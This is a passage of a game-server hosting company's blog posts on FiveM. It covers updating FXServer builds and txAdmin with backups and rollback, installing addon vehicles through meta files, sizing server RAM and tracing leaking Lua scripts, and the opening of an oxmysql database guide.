$ wget -O fx.tar.xz "https://runtime.fivem.net/artifacts/fivem/build_proot_linux/master/<build>/fx.tar.xz"
$ mkdir server-new && tar xf fx.tar.xz -C server-new
# stop the server cleanly here, then:
$ mv server server-old && mv server-new server
$ cd server-data && bash ../server/run.sh +exec server.cfg
```

Take the exact download link from the artifact page; each build has its own folder name. If the new build misbehaves, stop it and swap the folder names back. Delete `server-old` only after the new build has run through a full evening of real players.

If you start the server through txAdmin, start `run.sh` without `+exec` as you did before; txAdmin finds its data folder and launches FXServer with your configuration.

##### On Windows

The Windows artifact is a `server.7z` archive containing `FXServer.exe` and its files. The procedure is the same in spirit: extract the new build into a new folder, stop the server, rename the old folder out of the way, rename the new one into place, and start it with the same shortcut or batch file. Never extract a new build over the top of a running one; files in use will not be replaced, and you end up with a mixture of two builds that fails in strange ways.

##### On a panel host

On a Pterodactyl-based panel the artifact lives in the server's own files and is fetched by the install script. FiveM eggs usually expose the build to run as a variable on the Startup tab - a version field that accepts a build number or a keyword such as recommended - and the install or update step downloads it. Look at the Startup tab on your server to see what it offers before assuming.

On RE:NODE, take a backup from the panel before changing the build; restoring is one button and backups are stored off the machine, so the safety net costs nothing. A backup can also be locked so scheduled rotation cannot delete the copy you took before the update. Your database lives in its own slot, so back that up separately - the full method is in [FiveM databases and oxmysql](https://www.renode.space/blog/fivem-database-and-oxmysql).

#### txAdmin across updates

txAdmin is part of the artifact, so a new build often brings a new txAdmin. It keeps its own data outside the artifact - settings, admin accounts, the player database, bans, warnings, whitelist approvals - in the `txData` folder (or the location set by the panel or start script). That folder is easy to forget and painful to lose: losing it means losing your ban list and your admin accounts.

- **Back up `txData` before every update**, alongside `server-data`.
- **Expect one-way migrations.** A newer txAdmin may update its stored data on first start. Going back to an older build afterwards can leave txAdmin unable to read it, so a rollback should restore the `txData` backup too.
- **Read the txAdmin release notes** when its major version changes. Settings move between pages and occasionally change meaning; the Discord whitelist settings are a recent example, covered in [FiveM Discord whitelist and permissions](https://www.renode.space/blog/fivem-discord-permissions-and-whitelist).

#### Testing before production

The safest update is the one somebody else tested on your exact resource list. That somebody is a second server.

1. **Issue a second licence key** from the same Cfx.re account. Escrowed resources owned by that account run on both keys, as [FiveM escrow and asset licensing](https://www.renode.space/blog/fivem-escrow-and-asset-licensing) explains.
2. **Copy `server-data`** to the test server and point it at a copy of the database, never the live one.
3. **Run the new build there.** Start it, read the console from the top for errors, join, and walk through the parts players use: character creation, inventory, a job, a garage, a shop.
4. **Profile it.** A build change can change performance. Compare a profile against the live server under similar load, as described in [FiveM server performance](https://www.renode.space/blog/fivem-server-performance-resmon).
5. **Only then update production**, at a quiet hour, with the old folder kept.

For a small server, a test run can be the live server at 6am with txAdmin's whitelist set to admin-only for an hour. It is not as good as a second server, but it is far better than updating at peak and finding out with sixty people watching.

##### What to watch in the first evening

An update that starts cleanly can still fail under load. During the first busy evening on a new build, keep an eye on:

- **Hitch warnings in the console.** A build that changed sync or networking behaviour shows up here first, as server, sync or network thread hitches that were not there before.
- **txAdmin's tick chart.** Compare the shape with the previous evening. A new tail of slow ticks at the same player count is the build or a resource reacting to it.
- **Memory over the session.** A leak introduced by a build grows slowly; check the graph at the start and end of the evening.
- **Player reports about specific actions.** "My car vanished", "the shop did not take my money" - these point at OneSync or native changes that only show with real players doing real things.

If any of these move, you still have the old build beside the new one. Rolling back after one bad evening costs ten minutes; living with a bad build for a week while hoping it settles costs the community's patience.

#### The update checklist

1. Note the current build number from the startup line.
2. Read the changelog between it and the target.
3. Announce a maintenance window; set txAdmin's whitelist to admin-only if you want the server closed while you test.
4. Stop the server cleanly so the framework saves player data.
5. Back up `server-data`, `txData` and the database. Lock the backup if your panel allows it.
6. Put the new build beside the old one and swap.
7. Start, and read the console from the first line to the last resource.
8. Join, and test the paths players use most.
9. Reopen the server; watch the console and txAdmin's tick chart through the first busy evening.
10. Remove the old build after a few days without problems.

Change one layer at a time. If the framework has an update too, do it on a different day. When something breaks, you then know which change broke it.

#### Rolling back

When the new build breaks something you cannot fix in minutes:

1. Stop the server.
2. Swap the folders back: `server` becomes the new build's name, `server-old` becomes `server`.
3. If txAdmin migrated its data, restore `txData` from the pre-update backup.
4. If the new build had players on it for a while, decide about the database: restoring loses everything since, keeping it is usually fine because the database schema belongs to the framework, not to FXServer.
5. Start, confirm the startup line shows the old build number, and reopen.

Then find out why before trying again. Search the console output from the failed build for the first error, not the last; read the changelog for the natives the failing resource uses; ask the resource's author with the build number in hand. The general version of this, across games, is in [what to do when a mod update breaks](https://www.renode.space/blog/what-to-do-when-a-mod-update-breaks).

#### Troubleshooting after an update

**A resource fails to start with errors about a missing function or native.** The resource relies on behaviour that changed, or requires a newer build than you installed. Check its stated minimum build.

**Escrowed resources fail to load.** The build is too old for escrow, or the update coincided with a key change. Run the recommended build and check the key.

**txAdmin will not start or has lost its settings.** It is pointed at a different data folder, or the data was migrated by a newer version and you rolled back without restoring `txData`.

**The server starts, players connect, and sync is worse.** A OneSync behaviour change. Compare against the old build on a test server, and report it with the build numbers.

**Players cannot join after the update, but the server looks fine.** Usually unrelated to the artifact: the game build enforced in `server.cfg` changed, or a resource is failing during the join flow. Read the console while someone connects.

#### FAQ

##### What are FiveM server artifacts?

They are the FXServer builds published by Cfx.re, one list for Linux and one for Windows. Each build is a complete server binary with txAdmin bundled. Your resources and configuration live separately and are not part of the artifact.

##### Should I use the recommended or the latest FiveM build?

Recommended for any live server. The newer optional builds are for testing fixes and features before they are recommended. Use one only when you need something it contains, and test it first.

##### How often should I update FXServer?

Often enough to stay within a few weeks of the recommended build, and whenever a resource you rely on requires a newer one. There is no benefit in updating to every build as it appears.

##### Will updating the server delete my resources?

Not if you keep the artifact and `server-data` in separate folders, as is conventional. The artifact is replaced; your resources, `server.cfg` and database are not touched. Back them up anyway.

##### Does updating FXServer update txAdmin?

Yes. txAdmin ships inside the artifact. Its data folder survives the update, but a newer txAdmin may migrate that data in a way an older one cannot read, so back it up before updating.

FiveM servers on RE:NODE have txAdmin available, backups on every plan that are restored with a button and can be locked against rotation, a separate database slot, and an unfiltered console for reading a new build's startup from the first line - so an update that goes wrong is a rollback, not a rebuild.

[See FiveM plans](https://www.renode.space/game-servers/fivem)

---

### FiveM addon cars: vehicles.meta and size

Published 2026-10-07 by RE:NODE Team. https://www.renode.space/blog/fivem-vehicles-and-addon-cars

An addon car on FiveM is a resource with the vehicle's model and textures in a `stream` folder and four or five meta files - `vehicles.meta`, `carvariations.meta`, `carcols.meta`, `handling.meta`, sometimes `vehiclelayouts.meta` - registered with `data_file` lines in `fxmanifest.lua`. It gets its own spawn name and sits beside the base game's cars. A replace car is simpler: you stream a file with the same name as a base-game model, and the original is gone everywhere, traffic included. Addons are the right default. The things that go wrong are names that do not match between files, two cars claiming the same modkit ID, and packs so large that every new player waits ten minutes to join. This guide covers the resource layout, each meta file, the fields that must agree, sizing, framework integration and the errors you will see.

#### Addon or replace

| | Addon | Replace |
| --- | --- | --- |
| Spawn name | Its own, such as `rmodgtr` | A base model's, such as `adder` |
| Meta files | Required | Optional, for handling only |
| Original car | Still there | Gone, including in traffic |
| Risk | Name and modkit conflicts | Every instance of that model changes |
| Use for | Almost everything | Police fleets, deliberate overhauls |

A replace works because FiveM streams by file name: a resource that ships `adder.yft`, `adder_hi.yft` and `adder.ytd` overrides the game's own Adder for every player. That is exactly what you want for, say, replacing the base police cruisers with a consistent fleet - every NPC cop car changes too. It is exactly what you do not want for a dealership car, because the Adder in traffic and in every script that spawns one becomes your custom model.

Addons add a new model with its own name, so nothing in the base game changes and scripts spawn it by that name. The cost is the meta files, which is where most installation problems live.

#### The resource layout

A single addon car:

```text
resources/[vehicles]/rmodgtr/
  fxmanifest.lua
  data/
    vehicles.meta
    carvariations.meta
    carcols.meta
    handling.meta
  stream/
    rmodgtr.yft
    rmodgtr_hi.yft
    rmodgtr.ytd
```

fxmanifest.lua:

```lua
fx_version 'cerulean'
game 'gta5'

files {
    'data/**/*.meta',
}

data_file 'HANDLING_FILE'            'data/**/handling.meta'
data_file 'VEHICLE_METADATA_FILE'    'data/**/vehicles.meta'
data_file 'CARCOLS_FILE'             'data/**/carcols.meta'
data_file 'VEHICLE_VARIATION_FILE'   'data/**/carvariations.meta'
data_file 'VEHICLE_LAYOUTS_FILE'     'data/**/vehiclelayouts.meta'
```

The `files` block makes the meta files available to clients; the `data_file` lines tell the game what each one is. The `**` glob lets one manifest cover a pack where every car has its own sub-folder under `data/`, which is how most combined packs are built. A `data_file` line pointing at a file that does not exist is harmless, so packs often include the layouts line whether or not any car uses one.

The streamed files: `.yft` is the model, `_hi.yft` the high-detail version used close up, `.ytd` the textures. Some cars add a `+hi.ytd` for close-up textures and separate `.ytd` files for modkit parts. Any file in `stream` is registered automatically - the general rules for streamed content are in [FiveM MLOs and streaming assets](https://www.renode.space/blog/fivem-mlo-maps-and-streaming-assets).

Add it to `server.cfg` with `ensure rmodgtr`, after the framework and before anything that needs to spawn it.

#### vehicles.meta: the names that must agree

`vehicles.meta` defines the vehicle. Most problems come from a handful of fields that have to match other files exactly:

| Field | Must match |
| --- | --- |
| `modelName` | The `.yft` file name, without extension |
| `txdName` | The `.ytd` file name, without extension |
| `handlingId` | `handlingName` in `handling.meta` |
| `gameName` | The text label for the display name |
| `vehicleMakeName` | The text label for the manufacturer |

vehicles.meta (excerpt):

```xml
<Item>
  <modelName>rmodgtr</modelName>
  <txdName>rmodgtr</txdName>
  <handlingId>RMODGTR</handlingId>
  <gameName>RMODGTR</gameName>
  <vehicleMakeName>NISSAN</vehicleMakeName>
  <type>VEHICLE_TYPE_CAR</type>
  <vehicleClass>VC_SPORT</vehicleClass>
  <layout>LAYOUT_STANDARD</layout>
</Item>
```

`type` and `vehicleClass` decide how the game treats it: `VEHICLE_TYPE_BIKE` for a motorcycle, `VC_EMERGENCY` puts it in the emergency class, and so on. `layout` decides seat positions and entry animations; custom layouts come from `vehiclelayouts.meta`.

The spawn name is `modelName`. The display name in garages and the vehicle HUD comes from the text label in `gameName`, and an addon car whose label is never defined shows as `NULL` or as the raw label. Define it on the client:

client/names.lua:

```lua
CreateThread(function()
    AddTextEntry("RMODGTR", "GT-R R35")
end)
```

#### handling.meta, carcols.meta and emergency fleets

`handling.meta` defines how the car drives. Its `handlingName` must equal the `handlingId` from `vehicles.meta`, and handling names are global: two cars with the same handling name share one entry, and whichever loaded last wins for both. That is how a sedan ends up accelerating like a hypercar.

handling.meta (excerpt):

```xml
<Item type="CHandlingData">
  <handlingName>RMODGTR</handlingName>
  <fMass value="1750.000000" />
  <fInitialDragCoeff value="8.500000" />
  <fInitialDriveForce value="0.340000" />
  <fInitialDriveMaxFlatVel value="168.000000" />
  <fBrakeForce value="1.100000" />
  <fTractionCurveMax value="2.650000" />
</Item>
```

Creators tune handling for single-player fun, which on a roleplay server usually means far too fast. Tuning a whole fleet to consistent values is normal, and the fields above - mass, drive force, top speed, brakes, grip - are where to start. Change one value at a time and test.

`carcols.meta` holds the car's modkit: the list of tuning parts and the kit ID that `carvariations.meta` refers to.

carcols.meta (excerpt):

```xml
<Kits>
  <Item>
    <kitName>4517_rmodgtr_modkit</kitName>
    <id value="4517" />
    <kitType>MKT_SPECIAL</kitType>
  </Item>
</Kits>
```

carvariations.meta (excerpt):

```xml
<kits>
  <Item>4517_rmodgtr_modkit</Item>
</kits>
```

> [!WARNING]
> Modkit IDs are global. Two cars from different creators that both use kit ID `4517` conflict: one car's tuning menu shows the other's parts, parts fail to apply, or clients crash entering a mod shop. Every addon car on a server needs a unique kit ID, and when you merge packs from different sources, checking them is your job.

A simple way to audit: search every `carcols.meta` for `<id value=` and sort the results. Duplicates are the cars to fix. Change the ID in `carcols.meta`, and keep the kit name in `carvariations.meta` consistent with the new `kitName`.

#### Size: the cost every player pays

Every new player downloads every streamed vehicle before they can play, and the client keeps the textures of cars around it in memory. Addon cars vary enormously in size: a well-made car is a few megabytes, a car ripped with 4K textures on every surface can be thirty or more. FXServer warns at startup about any asset above 16 MiB of physical memory:

```text
Asset rmodgtr.ytd uses 24.0 MiB of physical memory. Oversized assets can and WILL
lead to streaming issues (such as models not loading/rendering).
```

On a server with three hundred cars, a few oversized ones in a busy car park are enough to make textures fail to load for everyone standing there.

How to keep a fleet manageable:

1. **Sort your `stream` folders by size.** The top twenty files are usually most of the total.
2. **Shrink oversized textures.** Opening the `.ytd` and resizing large textures to 2048 or 1024 usually halves a car's size with no visible difference in a car park.
3. **Cut the fleet.** Most servers carry cars nobody owns. Your database knows which models players actually have; the rest are download cost for nothing.
4. **Split by purpose.** `[vehicles-emergency]`, `[vehicles-dealer]`, `[vehicles-donor]` - separate resources are easier to measure and to remove than one 4 GB "carpack".

Resource count itself is not a performance problem for cars: they have no scripts and cost nothing on the server's main thread. The cost is download and client memory. How to measure the scripted side is in [FiveM server performance](https://www.renode.space/blog/fivem-server-performance-resmon).

##### Emergency vehicles, liveries and extras

Police, EMS and fire fleets are the most common reason a roleplay server adds vehicles at all, and they bring three extra things to manage.

**Liveries.** Most emergency packs ship several liveries per car - departments, ranks, unmarked versions - either as texture variations inside the model or as livery entries in the meta. A script or a garage selects one with the `SetVehicleLivery` native. If a livery menu shows the wrong number of options, the model and the meta disagree about how many there are.

**Extras.** Lightbars, push bars, equipment and partitions are often modelled as extras, numbered parts switched on and off with `SetVehicleExtra`. Department garages usually set a fixed combination per vehicle so the fleet looks consistent. Extras that are missing in game are a model question, not a script one.

**Sirens.** Light patterns live in `carcols.meta` as siren settings, and like modkits they are identified by number. Two packs that use the same siren setting ID conflict, and one car flashes with the other's pattern. When merging emergency packs from different creators, audit siren IDs the same way as modkit IDs.

Emergency packs are also where replace-versus-addon gets interesting. Replacing the base police cars means NPC police and dispatched units use your fleet too, which some servers want for consistency. Most roleplay servers prefer addons, so player police have their own vehicles and ambient police keep the base ones, and they then turn ambient police dispatch off with their own scripts.

#### Making the framework aware of the car

Streaming the car makes it spawnable by name. Dealerships, garages and admin menus need to know it exists.

- **QBCore** keeps its vehicle list in a shared Lua file in `qb-core` (`shared/vehicles.lua` in recent versions), one entry per model with its name, brand, price, category and shop. A car missing from it cannot be bought and may not be stored in garages.
- **ESX** dealerships traditionally read a `vehicles` table in the database, with model, name, price and category. Add rows with SQL or through phpMyAdmin.
- **Qbox** keeps a shared vehicle list in its own core; check the current repository for the exact location, since it has moved between releases.

Owned vehicles are stored per player in the database (`owned_vehicles` on ESX, `player_vehicles` on QBCore) with the model name or hash. Removing a car from the server leaves those rows behind, and garages then fail when a player tries to take out a model that no longer exists. When you retire a car, decide what owners get - a refund, a replacement model - and update the rows rather than leaving broken entries. [FiveM databases and oxmysql](https://www.renode.space/blog/fivem-database-and-oxmysql) covers working with those tables safely, and a backup before any bulk change is not optional.

If you run `sv_entityLockdown`, vehicles must be created on the server. Modern garages already do this; an old dealership that spawns its preview car on the client will stop working. [OneSync and player slots](https://www.renode.space/blog/fivem-onesync-and-player-slots) has the server-side pattern.

#### Game build, sources and licensing

Some addon cars use parts of base-game vehicles from recent GTA Online updates. They only work on a server that enforces at least that game build with `sv_enforceGameBuild`. A car that crashes clients on spawn or appears without wheels is often a build mismatch; the creator should state the required build.

Where cars come from matters too. Many free "addon packs" are models ripped from other racing games, which is someone else's intellectual property. Cfx.re's rules forbid selling access to content you do not have the rights to, and paid resources are distributed through Cfx.re's escrow system tied to the buyer's account - [FiveM escrow and asset licensing](https://www.renode.space/blog/fivem-escrow-and-asset-licensing) explains how that works and why leaked packs are a risk to your licence key. Donor vehicles are a particular trap; read [monetising a game server within the rules](https://www.renode.space/blog/monetising-a-game-server-within-the-rules) before putting a car behind a payment.

#### Installing a car without downtime

Adding a car does not need a full server restart:

1. Upload the resource folder. On RE:NODE, drag a zip into the file manager and it is unpacked in place, or upload over SFTP for a big pack.
2. Add `ensure rmodgtr` to `server.cfg` so it survives the next restart.
3. In the console, run `refresh`, then `ensure rmodgtr`.
4. Players already online receive the new files; some meta changes only take full effect after they reconnect.
5. Spawn it once with an admin command and check textures, handling, tuning and the display name before announcing it.

Back up first if the pack touches meta files of existing cars, and test merged packs on a copy of the server rather than live; a broken `carcols.meta` can crash every client that enters a mod shop.

#### Troubleshooting

**"Model does not exist" or nothing spawns.** The spawn name does not match `modelName`, the resource is not started, or the `data_file` lines do not point at the meta files. `IsModelInCdimage(GetHashKey("rmodgtr"))` on the client tells you whether the game knows the model.

**The car spawns without textures.** `txdName` does not match the `.ytd` file name, or the `.ytd` is oversized and failing to stream.

**It drives like a stock car.** `handlingId` and `handlingName` do not match, or the handling file is not registered. Or another car uses the same handling name.

**The tuning menu shows the wrong parts or crashes.** Duplicate modkit IDs between two cars.

**The name shows as NULL.** No `AddTextEntry` for the `gameName` label.

**Clients crash when the car appears.** A broken model, an oversized asset, or a game build lower than the car needs.

#### FAQ

##### What is the difference between addon and replace cars in FiveM?

An addon car is a new model with its own spawn name and meta files, alongside the base game. A replace car overrides a base model of the same name, so every instance of that vehicle - traffic included - becomes the custom one.

##### Do I need all the meta files for an addon car?

You need `vehicles.meta` and usually `carvariations.meta`, `carcols.meta` and `handling.meta`. `vehiclelayouts.meta` only when the car has a custom layout. Each must be listed in `files` and registered with a `data_file` line.

##### How many addon cars can a FiveM server have?

There is no fixed number. The practical limit is total download size and client memory, not server CPU. Hundreds work if each car is reasonably sized; a few dozen oversized ones can cause texture loss on their own.

##### Why do two of my cars have each other's tuning parts?

They share a modkit ID in `carcols.meta`. Give one a unique ID and update its kit name in `carvariations.meta`.

##### Can I add cars without restarting the server?

Yes. Upload the resource, run `refresh` and `ensure` in the console, and add the `ensure` line to `server.cfg`. Some players may need to reconnect before everything loads correctly.

FiveM servers on RE:NODE run on NVMe with SFTP on every server, a file manager that unpacks uploaded archives in place, a database slot with one-click phpMyAdmin for your vehicle tables, and backup slots on every plan for the moment a car pack goes wrong.

[See FiveM plans](https://www.renode.space/game-servers/fivem)

---

### FiveM server RAM: sizing by resources

Published 2026-10-07 by RE:NODE Team. https://www.renode.space/blog/how-much-ram-does-a-fivem-server-need

A FiveM server needs 2 to 3 GB of memory for a freeroam, drift or racing server of up to about 32 players with a modest resource list, 4 to 6 GB for an ESX, QBCore or Qbox roleplay server of 48 to 64 slots, and 8 to 12 GB for a large roleplay server with hundreds of resources and well over 64 players. The number of slots is the weakest predictor in that sentence. FXServer's memory follows the resources you install and the state they keep, so a half-empty server running two hundred scripts uses more than a full one running forty, and a single badly written script can outgrow everything else on the server by the end of the day. Size by your resource folder, then prove it with numbers.

#### What FXServer keeps in memory

FXServer is the server binary; the game logic you run on it is almost entirely resources. Memory comes from five places:

- **The core server.** Networking, the HTTP endpoint that serves files to clients, and the server-side game state. Small on its own: a stock server with the default resources idles in a few hundred megabytes.
- **OneSync state.** With OneSync on, the server tracks every networked entity - players, vehicles, peds, objects - and their state. More players and more spawned entities mean more state, and population settings decide how many ambient entities exist.
- **Script runtimes.** Each resource's server scripts run in a runtime: Lua (the default and by far the most common), JavaScript on a bundled Node/V8 runtime, or C# on Mono. Every resource with Lua server scripts gets its own Lua state with its own heap.
- **What scripts hold.** Player objects cached by the framework, inventories, job data, vehicle registries, phone messages, housing data and anything a script loaded from the database and kept. This is where most of the memory on a roleplay server lives.
- **Streaming asset bookkeeping.** Custom vehicles, maps, clothing and MLO interiors are served to clients from the server's `cache` folder. Their bulk is on disk and in transit, but the server indexes them at start, so very large stream folders lengthen startup and add some memory.

If you run txAdmin, it supervises the game server as a separate process and adds a little memory of its own. It is worth every byte, but it counts against the same limit.

#### RAM by server type

| Server | Slots | RAM | vCPU | Notes |
| --- | --- | --- | --- | --- |
| Freeroam, drift or racing | up to 32 | 2-3 GB | 1-1.5 | Few resources, little persistent state |
| Light roleplay, small resource list | 32-48 | 3-4 GB | 1.5-2 | Framework plus essentials |
| ESX, QBCore or Qbox roleplay | 48-64 | 4-6 GB | 2 | The common case |
| Large roleplay, hundreds of resources | 64-128 | 8-12 GB | 2.5-3.5 | Many scripts, heavy streaming |
| Development or test server | 1-5 | 2 GB | 1 | Same resources, no players |

Three things move a server up the table faster than players do.

1. **Resource count and quality.** A curated list of eighty well-written resources on a modern framework can use less than forty old ones copied from forums. Memory per resource varies by a factor of a hundred.
2. **What the framework caches.** Frameworks keep each connected player's data in memory, and some resources keep data for every character ever created, loaded once at start. A server with ten thousand characters in its database can be paying for all of them.
3. **Uptime.** Lua heaps and caches grow during the day. A server that starts at 3 GB can be at 5 GB eight hours later, and whether that is normal growth or a leak is the subject of a later section.

[FiveM frameworks: ESX, QBCore and Qbox](https://www.renode.space/blog/fivem-frameworks-esx-qbcore-qbox) compares the frameworks themselves; for sizing they behave similarly, and the add-on resources around them decide the outcome.

#### Slots, OneSync and population

Slots are set with `sv_maxclients`, and anything above 32 requires OneSync. OneSync moves entity ownership and state to the server, which is what makes large servers possible and what makes the server's memory track the entity count.

server.cfg:

```cfg
set onesync on
sv_maxclients 64
sv_entityLockdown strict

ensure oxmysql
ensure qb-core
ensure [qb]
ensure [standalone]
```

What matters for memory here:

- **Every networked entity costs state.** Players, their vehicles, ambient traffic and pedestrians, props spawned by scripts, and anything clients create. A server with fifty players who each spawn a car and leave it costs more than one where vehicles are stored in garages.
- **`sv_entityLockdown`** controls whether clients may create networked entities themselves. `strict` blocks client-side creation entirely, which closes a classic abuse path where a modified client spams entities until the server is full of them. It is primarily a security setting, but on a busy server it is also a memory one. It can break older scripts that spawn entities client-side, so test it.
- **Population.** Ambient traffic and peds are networked entities too. Many roleplay servers reduce population density through a resource, both for performance and for gameplay; the server holds fewer entities as a result.

[OneSync and player slots](https://www.renode.space/blog/fivem-onesync-and-player-slots) goes deeper into the entity side, and [server.cfg explained](https://www.renode.space/blog/fivem-server-cfg-explained) covers every line around these.

#### Leaking scripts: the usual culprit

Most FiveM servers that run out of memory are not too small. They have a resource whose memory only ever goes up. The pattern is almost always the same: a table keyed by player that is filled when someone joins and never cleared when they leave, a cache that loads every row it ever saw, or a loop that creates closures or timers faster than they end.

The classic fix is one handler:

```lua
local playerCache = {}

AddEventHandler('playerDropped', function()
    playerCache[source] = nil
end)
```

Without it, every join for the life of the server adds an entry that is never freed. On a server with frequent reconnects that is thousands of entries a day, each holding whatever the script stored.

To find which resource is growing, measure each resource's Lua heap from inside. A small debug resource or a temporary line in a suspect script will do it:

```lua
CreateThread(function()
    while true do
        Wait(60000)
        local mb = collectgarbage('count') / 1024
        print(('[%s] Lua heap: %.1f MB'):format(GetCurrentResourceName(), mb))
    end
end)
```

`collectgarbage('count')` returns the current Lua heap of that resource in kilobytes. Leave it running for a few hours of normal play. A resource whose figure rises and falls is healthy; one whose figure only rises is leaking. Remove the debug line afterwards.

> [!TIP]
> Restart one resource and watch total memory. `restart resourcename` in the server console unloads and reloads it. If the server's memory drops by a gigabyte when you restart one script, you have found your leak - and a workaround until it is fixed.

#### Measuring before you buy

Four tools, in the order to use them.

1. **The memory graph over a full day.** A FiveM server climbs after start as players join and caches fill, then levels off. A line that keeps climbing until the next restart is a leak. A line that levels off near the limit is a server that is genuinely too small.
2. **`resmon` on a client.** Press F8 and run `resmon 1`. It shows each resource's CPU time and memory on that client. It does not show server-side cost, but resources that are heavy on the client are usually heavy on the server too, and client-side bloat is half of what players feel.
3. **The server profiler.** `profiler record 500` in the server console captures 500 frames, then `profiler view` opens the result. It is a CPU tool rather than a memory tool, but a resource that dominates the profile is often the same one that dominates memory. [FiveM server performance and resmon](https://www.renode.space/blog/fivem-server-performance-resmon) walks through reading it.
4. **Per-resource Lua heap**, with the snippet above, for the suspects the first three turned up.

What you will not get, if the server hits its memory limit inside a container, is a helpful error. The process stops and the log ends. On RE:NODE a server that reaches its memory limit is stopped and restarted clean rather than left to swap - so a memory problem shows up as unexplained restarts, often at roughly the same time of day.

#### Restarts, and why roleplay servers schedule them

Most roleplay servers restart every six to twelve hours, usually at fixed times announced in game. It started as a workaround for exactly the memory growth described above, and it has stayed because it also clears ambient entities, resets scripts that drift into bad states and gives a predictable moment for updates.

txAdmin has a restart scheduler built in: set the times in its settings and it warns players at intervals before each restart. That is better than a blind process restart because it gives scripts a chance to save, and frameworks save player data on drop.

A scheduled restart is a reasonable crutch, not a cure. If a server needs a restart every four hours to stay inside its memory, something is leaking, and the profiling steps above will find it faster than an upgrade will hide it.

#### Development servers and keeping two copies

Most roleplay communities end up running two servers: the live one and a development copy where new scripts are tested before they reach players. Sizing the second is easy to get wrong in both directions.

A development server has few players, often just the developers, so it does not need the live server's headroom for a full evening. But it does need to load the same resource list, and since resources rather than players drive FiveM memory, a dev server with the full list idles not far below the live one. A 2 GB plan that cannot even start the live resource folder is no use for testing it.

The useful approach:

1. **Size the dev server for the floor, not the peak.** Start the live resource list with nobody online and note memory after every resource has started. The dev server needs that plus a margin, typically one tier below the live server.
2. **Test new resources there first, with the Lua heap snippet running.** A script that leaks shows itself in an afternoon of testing rather than an evening of players being disconnected.
3. **Keep the database separate.** Point the dev server at its own database, never the live one. A test script that wipes a table should wipe a test table.
4. **Use the same server artifact.** Memory and behaviour change between FXServer builds, so testing on a different build proves less than it seems to.

On RE:NODE each server has its own limits, its own panel and its own backups, so a dev server is simply a second, smaller plan. Subusers let developers reach the console and files of the dev server without access to the live one.

#### The database and the disk

Roleplay frameworks lean on a database for characters, inventories, vehicles and properties. The database is a separate process with its own memory needs, and whether that counts against your game server depends on where it runs. A small roleplay database is comfortable in a few hundred megabytes; a large one with logs tables that nobody prunes grows without limit. [FiveM database and oxmysql](https://www.renode.space/blog/fivem-database-and-oxmysql) covers the connection string, slow queries and the tables worth pruning.

Disk is where streaming assets live. A server with a hundred custom vehicles, a dozen MLO interiors and a clothing pack can have a resource folder of 10 to 20 GB, plus the `cache` folder FXServer builds from it. Leave room for both and for a few server artifacts kept for rollback. [MLO maps and streaming assets](https://www.renode.space/blog/fivem-mlo-maps-and-streaming-assets) covers stream limits and why oversized assets hurt clients more than servers.

#### CPU: the other half of the question

Memory is rarely what players feel first. FXServer runs scripts on one main thread, so a resource doing expensive work every frame delays everything else, and that shows up as desync and rubber-banding with memory nowhere near the limit. The server console prints a hitch warning when a server frame takes too long, which is the first thing to look for when players complain. One fast core for the main thread plus a second for networking and asset serving is the realistic minimum for roleplay. [CPU or RAM: which one is holding your server back](https://www.renode.space/blog/cpu-vs-ram-for-game-servers) is the general method for telling the two apart.

FiveM plans on RE:NODE run from 2 GB to 12 GB, from $9 a month, with two port allocations and txAdmin available. Your Cfx.re key is entered on the Setup tab, because it is issued to your account, and moving up a tier raises the limits on the server you already have.

#### FAQ

##### Is 4 GB enough for a FiveM roleplay server?

For a small roleplay server with a framework and a curated resource list, usually yes, up to around 48 players. A 64-slot server with a typical community resource folder is more comfortable at 6 GB. Watch a full day's memory graph before deciding; the end of the day is the number that matters.

##### Does FiveM use more RAM with more players?

Somewhat - each player adds entity state, network buffers and framework data. But resources dominate. Doubling players on the same resource list increases memory modestly; doubling the resource list can double it outright.

##### Why does my FiveM server's memory keep going up?

Usually a resource caching data per player and never clearing it, or loading more and more from the database over time. Measure each suspect's Lua heap with `collectgarbage('count')`, or restart resources one at a time and watch which restart frees the most memory.

##### Do custom cars and MLOs use server RAM?

Mostly they use disk and bandwidth, because the server streams them to clients from its cache. The server does index them at start, so very large stream folders add some memory and a longer startup. The bigger cost of heavy assets is on players' machines and connections.

##### How often should a FiveM server restart?

Most roleplay servers restart every six to twelve hours using txAdmin's scheduler, with warnings in game. That keeps memory flat and clears drifted state. If you need restarts more often than every four hours to stay inside the limit, a resource is leaking and should be found rather than restarted around.

FiveM servers on RE:NODE run from 2 GB to 12 GB with txAdmin available, two port allocations, a database slot created from the panel and backup slots on every tier. The console graphs memory, CPU and disk against the plan's limits, so a resource that leaks shows up on the graph before it shows up as a restart.

[See FiveM plans](https://www.renode.space/game-servers/fivem)

---

### FiveM oxmysql: setup and slow queries

Published 2026-09-21 by RE:NODE Team. https://www.renode.space/blog/fivem-database-and-oxmysql

Everything a FiveM roleplay server remembers between restarts lives in a database: characters, money, vehicles, property, jobs, bans. The framework does not talk to it directly. It goes through `oxmysql`, a resource that holds a pool of connections and exposes query functions to every other resource on the server. Get the connection string right and you will never think about it again. Get it wrong and the symptom is not a database error - it is players spawning with no character, money resetting on relog, or the whole server hanging at the loading screen while one resource waits forever for a query that will never answer.

#### What a FiveM server actually stores

A framework schema is bigger than people expect. ESX Legacy and QBCore both ship an SQL dump that creates somewhere between fifteen and forty tables on import, and every resource you add afterwards can add its own.

The ones that matter, and that you will end up looking at by hand:

- **The character table.** ESX calls it `users` and keys it on `identifier`. QBCore and Qbox call it `players` and key it on `citizenid`, with the player's licence identifier in a separate column. One row per character.
- **Vehicles.** `owned_vehicles` on ESX, `player_vehicles` on QBCore, both keyed on the plate and linked back to the owner.
- **Jobs and grades.** On ESX these are database rows in `jobs` and `job_grades`. On QBCore and Qbox they are Lua, not SQL, which is one of the practical differences described in [FiveM frameworks compared](https://www.renode.space/blog/fivem-frameworks-esx-qbcore-qbox).
- **Bans**, logs, and whatever your phone, banking and housing resources decided to create.

The thing to understand about all of these is that the interesting columns are JSON blobs. A QBCore `players` row keeps `money`, `charinfo`, `job`, `gang`, `metadata` and `inventory` as JSON text. ESX does the same with `accounts` and `inventory`. That design keeps the framework flexible and means you cannot index inside those columns, cannot query "everyone with more than ten thousand in the bank" efficiently, and pull several kilobytes every time you `SELECT *` a player. It also means a corrupted blob breaks exactly one character rather than the table, which is the trade they took.

Characters are not written continuously. Both frameworks save on a timer and on disconnect - `qb-core` exposes the interval as `Config.UpdateInterval`, in minutes, and ESX has an equivalent in its config. Anything that kills the process without a clean shutdown loses up to one interval of progress for everybody online. That is the single best argument for restarting a FiveM server through the panel's Restart button rather than killing it.

#### The database slot, and what oxmysql needs from it

